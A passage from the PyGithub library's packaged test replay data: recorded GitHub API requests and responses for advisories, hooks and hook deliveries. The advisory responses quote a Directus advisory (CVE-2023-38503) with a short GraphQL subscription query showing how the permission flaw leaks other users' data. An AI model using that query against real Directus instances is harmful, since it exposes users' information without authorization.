/gists{/gist_id}","starred_url":"https://api.github.com/users/set0x/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/set0x/subscriptions","organizations_url":"https://api.github.com/users/set0x/orgs","repos_url":"https://api.github.com/users/set0x/repos","events_url":"https://api.github.com/users/set0x/events{/privacy}","received_events_url":"https://api.github.com/users/set0x/received_events","type":"User","site_admin":false},"type":"reporter"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGlobalAdvisoriesManyFilters.txt0000644000175100001660000003573114756101563027120 0ustar00runnerdockerhttps GET api.github.com None /advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus%2Cmade_up&modified=%3E2023-07-01&sort=updated&direction=desc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C7F2:6E1D:1755983:2F5444B:64C47981')] [{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] https GET api.github.com None /advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus&updated=%3E2023-07-01&sort=updated&direction=desc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C802:56E8:18054F3:2F5F060:64C47981')] [{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] https GET api.github.com None /advisories?type=reviewed&ecosystem=npm&severity=medium&cwes=200%2C900&is_withdrawn=False&affects=directus&published=%3E2023-07-01&sort=updated&direction=desc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 29 Jul 2023 02:29:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6b48ee9bb449156fad1cafe6ee6806aef190819b67c61901b0c8d17760bf2653"'), ('Last-Modified', 'Wed, 26 Jul 2023 17:50:01 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1690600508'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C804:4194:187E3F3:319CBA9:64C47981')] [{"ghsa_id":"GHSA-gggm-66rh-pp98","cve_id":"CVE-2023-38503","url":"https://api.github.com/advisories/GHSA-gggm-66rh-pp98","html_url":"https://github.com/advisories/GHSA-gggm-66rh-pp98","summary":"Incorrect Permission Checking for GraphQL Subscriptions","description":"### Summary\n\nCWE-200: Exposure of Sensitive Information to an Unauthorized Actor\nAccess to information you should not have access to when the permissions rely on `$CURRENT_USER` for filtering.\n\n### Details\n\nThe permission filters (i.e. `user_created IS $CURRENT_USER`) are not properly checked when using GraphQL subscription resulting in unauthorized users getting event on their subscription which they should not be receiving according to the permissions.\nThis can be any collection but out-of-the box the `directus_users` collection is configured with such a permissions filter allowing you to get updates for other users when changes happen.\n\nAn example:\n```graphql\nsubscription {\n directus_users_mutated {\n event\n data {\n id\n last_access\n last_page\n }\n }\n}\n```\n\n### Patches\nhttps://github.com/directus/directus/pull/19155\n\n### Workarounds\nDisable GraphQL Subscriptions\n\n### References\n\n","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/directus/directus/security-advisories/GHSA-gggm-66rh-pp98","source_code_location":"https://github.com/directus/directus","identifiers":[{"value":"GHSA-gggm-66rh-pp98","type":"GHSA"},{"value":"CVE-2023-38503","type":"CVE"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-gggm-66rh-pp98","https://github.com/directus/directus/pull/19155","https://nvd.nist.gov/vuln/detail/CVE-2023-38503","https://github.com/advisories/GHSA-gggm-66rh-pp98"],"published_at":"2023-07-25T23:31:10Z","updated_at":"2023-07-26T17:50:01Z","github_reviewed_at":"2023-07-25T23:31:10Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"directus"},"vulnerable_version_range":">= 10.3, < 10.5.0","first_patched_version":"10.5.0","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","score":5.7},"cwes":[{"cwe_id":"CWE-200","name":"Exposure of Sensitive Information to an Unauthorized Actor"}],"credits":[{"user":{"login":"madc","id":343392,"node_id":"MDQ6VXNlcjM0MzM5Mg==","avatar_url":"https://avatars.githubusercontent.com/u/343392?v=4","gravatar_id":"","url":"https://api.github.com/users/madc","html_url":"https://github.com/madc","followers_url":"https://api.github.com/users/madc/followers","following_url":"https://api.github.com/users/madc/following{/other_user}","gists_url":"https://api.github.com/users/madc/gists{/gist_id}","starred_url":"https://api.github.com/users/madc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/madc/subscriptions","organizations_url":"https://api.github.com/users/madc/orgs","repos_url":"https://api.github.com/users/madc/repos","events_url":"https://api.github.com/users/madc/events{/privacy}","received_events_url":"https://api.github.com/users/madc/received_events","type":"User","site_admin":false},"type":"reporter"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetHook.txt0000644000175100001660000000230414756101563022377 0ustar00runnerdockerhttps GET api.github.com None /hooks/activecollab {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] {"name":"activecollab","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetHookDeliveries.txt0000644000175100001660000000241314756101563024414 0ustar00runnerdockerhttps GET api.github.com None /hooks/257993/deliveries {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] [{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetHookDelivery.txt0000644000175100001660000000267314756101563024114 0ustar00runnerdockerhttps GET api.github.com None /hooks/257993/deliveries/12345 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b3cd8329-7f33-4611-84d1-4e2ecfd91812'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 11 Sep 2013 21:10:37 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378937437')] {"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetHooks.txt0000644000175100001660000004155014756101563022570 0ustar00runnerdockerhttps GET api.github.com None /hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '16567'), ('server', 'nginx'), ('last-modified', 'Fri, 24 Aug 2012 07:05:12 GMT'), ('connection', 'keep-alive'), ('etag', '"eb52c03081d2fc22f26ed2718921e500"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 17:26:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"name":"activecollab","schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]],"events":["push"],"supported_events":["push"]},{"name":"acunote","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"agilebench","schema":[["string","token"],["string","project_id"]],"events":["push"],"supported_events":["push"]},{"name":"agilezen","schema":[["string","api_key"],["string","project_id"],["string","branches"]],"events":["push"],"supported_events":["push"]},{"name":"amqp","schema":[["string","server"],["string","port"],["string","vhost"],["string","exchange"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"apoio","schema":[["string","subdomain"],["string","token"]],"events":["issues"],"supported_events":["issues"]},{"name":"appharbor","schema":[["string","application_slug"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"bamboo","schema":[["string","base_url"],["string","build_key"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"basecamp","schema":[["string","url"],["string","project"],["string","category"],["string","username"],["password","password"],["boolean","ssl"]],"events":["push"],"supported_events":["push"]},{"name":"bcx","schema":[["string","project_url"],["string","email_address"],["password","password"]],"events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"]},{"name":"boxcar","schema":[["string","subscribers"]],"events":["push"],"supported_events":["push"]},{"name":"bugherd","schema":[["string","project_key"]],"events":["push"],"supported_events":["push"]},{"name":"bugly","schema":[["string","project_id"],["string","account_name"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"bugzilla","schema":[["string","server_url"],["string","username"],["string","integration_branch"],["password","password"],["boolean","central_repository"]],"events":["push"],"supported_events":["push"]},{"name":"buildcoin","schema":[["string","company_key"]],"events":["push","pull_request","pull_request_review_comment","issue_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"campfire","schema":[["string","subdomain"],["string","room"],["string","token"],["string","sound"],["boolean","master_only"],["boolean","play_sound"],["boolean","long_url"]],"events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"]},{"name":"cia","schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["boolean","long_url"]],"events":["push"],"supported_events":["push"]},{"name":"codeclimate","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"codeportingcsharp2java","schema":[["string","project_name"],["string","repo_key"],["string","target_repo_key"],["string","codeporting_username"],["password","codeporting_password"],["string","github_access_token"]],"events":["push"],"supported_events":["push"]},{"name":"coop","schema":[["string","group_id"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"cube","schema":[["string","domain"],["string","project"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"ducksboard","schema":[["string","webhook_key"]],"events":["push","issues","fork","watch"],"supported_events":["fork","issues","push","watch"]},{"name":"email","schema":[["string","address"],["password","secret"],["boolean","send_from_author"]],"events":["push"],"supported_events":["public","push"]},{"name":"flowdock","schema":[["string","token"]],"events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"fogbugz","schema":[["string","cvssubmit_url"],["string","fb_repoid"],["string","fb_version"]],"events":["push"],"supported_events":["push"]},{"name":"freckle","schema":[["string","subdomain"],["string","project"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"friendfeed","schema":[["string","nickname"],["string","remotekey"]],"events":["push"],"supported_events":["push"]},{"name":"gemnasium","schema":[["string","user"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"geocommit","schema":[],"events":["push"],"supported_events":["push"]},{"name":"getlocalization","schema":[["string","project_name"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"gitlive","schema":[],"events":["push"],"supported_events":["push"]},{"name":"grmble","schema":[["string","room_api_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"grouptalent","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"grove","schema":[["string","channel_token"]],"events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["push"]},{"name":"habitualist","schema":[],"events":["push"],"supported_events":["push"]},{"name":"harvest","schema":[["string","subdomain"],["string","username"],["password","password"],["boolean","ssl"]],"events":["push"],"supported_events":["push"]},{"name":"hipchat","schema":[["string","auth_token"],["string","room"],["boolean","notify"]],"events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"hubci","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"icescrum","schema":[["string","base_url"],["string","project_key"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"irc","schema":[["string","server"],["string","port"],["string","room"],["string","nick"],["string","branch_regexes"],["password","password"],["boolean","ssl"],["boolean","message_without_join"],["boolean","no_colors"],["boolean","long_url"],["boolean","notice"]],"events":["push"],"supported_events":["issues","pull_request","push"]},{"name":"jabber","schema":[["string","user"]],"events":["push"],"supported_events":["push"]},{"name":"jaconda","schema":[["string","subdomain"],["string","room_id"],["string","room_token"],["boolean","digest"]],"events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]},{"name":"jenkins","schema":[["string","jenkins_hook_url"]],"events":["push"],"supported_events":["push"]},{"name":"jenkinsgit","schema":[["string","jenkins_url"]],"events":["push"],"supported_events":["push"]},{"name":"jira","schema":[["string","server_url"],["string","api_version"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"kanbanery","schema":[["string","project_id"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"kickoff","schema":[["string","project_id"],["string","project_token"]],"events":["push"],"supported_events":["push"]},{"name":"leanto","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"lighthouse","schema":[["string","subdomain"],["string","project_id"],["string","token"],["boolean","private"],["boolean","send_only_ticket_commits"]],"events":["push"],"supported_events":["push"]},{"name":"loggly","schema":[["string","input_token"]],"events":["push"],"supported_events":["push"]},{"name":"mantisbt","schema":[["string","url"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"masterbranch","schema":[],"events":["push"],"supported_events":["push"]},{"name":"mqttpub","schema":[["string","broker"],["string","port"],["string","topic"],["string","clientid"],["string","user"],["password","pass"],["boolean","retain"]],"events":["push"],"supported_events":["push"]},{"name":"nma","schema":[["string","apikey"]],"events":["push"],"supported_events":["push"]},{"name":"nodejitsu","schema":[["string","subdomain"],["string","username"],["string","branch"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"notifo","schema":[["string","subscribers"]],"events":["push"],"supported_events":["push"]},{"name":"ontime","schema":[["string","ontime_url"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"pachube","schema":[["string","api_key"],["string","feed_id"],["string","track_branch"]],"events":["push"],"supported_events":["push"]},{"name":"packagist","schema":[["string","domain"],["string","user"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"pivotaltracker","schema":[["string","token"],["string","branch"],["string","endpoint"]],"events":["push"],"supported_events":["push"]},{"name":"planbox","schema":[["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"planio","schema":[["string","address"],["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"presently","schema":[["string","subdomain"],["string","group_name"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"prowl","schema":[["string","apikey"]],"events":["push"],"supported_events":["push"]},{"name":"puppetlinter","schema":[],"events":["push"],"supported_events":["push"]},{"name":"pushover","schema":[["string","user_key"],["string","device_name"]],"events":["push"],"supported_events":["push"]},{"name":"pythonpackages","schema":[],"events":["push"],"supported_events":["push"]},{"name":"railsbp","schema":[["string","railsbp_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"railsbrakeman","schema":[["string","rails_brakeman_url"],["string","token"]],"events":["push"],"supported_events":["push"]},{"name":"rally","schema":[["string","server"],["string","username"],["string","workspace"],["string","repository"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"rationalteamconcert","schema":[["string","server_url"],["string","username"],["string","project_area_uuid"],["password","password"],["boolean","basic_authentication"]],"events":["push"],"supported_events":["push"]},{"name":"rdocinfo","schema":[],"events":["push"],"supported_events":["push"]},{"name":"readthedocs","schema":[],"events":["push"],"supported_events":["push"]},{"name":"redmine","schema":[["string","address"],["string","project"],["string","api_key"]],"events":["push"],"supported_events":["push"]},{"name":"rubyforge","schema":[["string","groupid"],["string","username"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"scrumdo","schema":[["string","username"],["string","project_slug"],["password","password"]],"events":["push"],"supported_events":["push"]},{"name":"shiningpanda","schema":[["string","workspace"],["string","job"],["string","token"],["string","branches"],["string","parameters"]]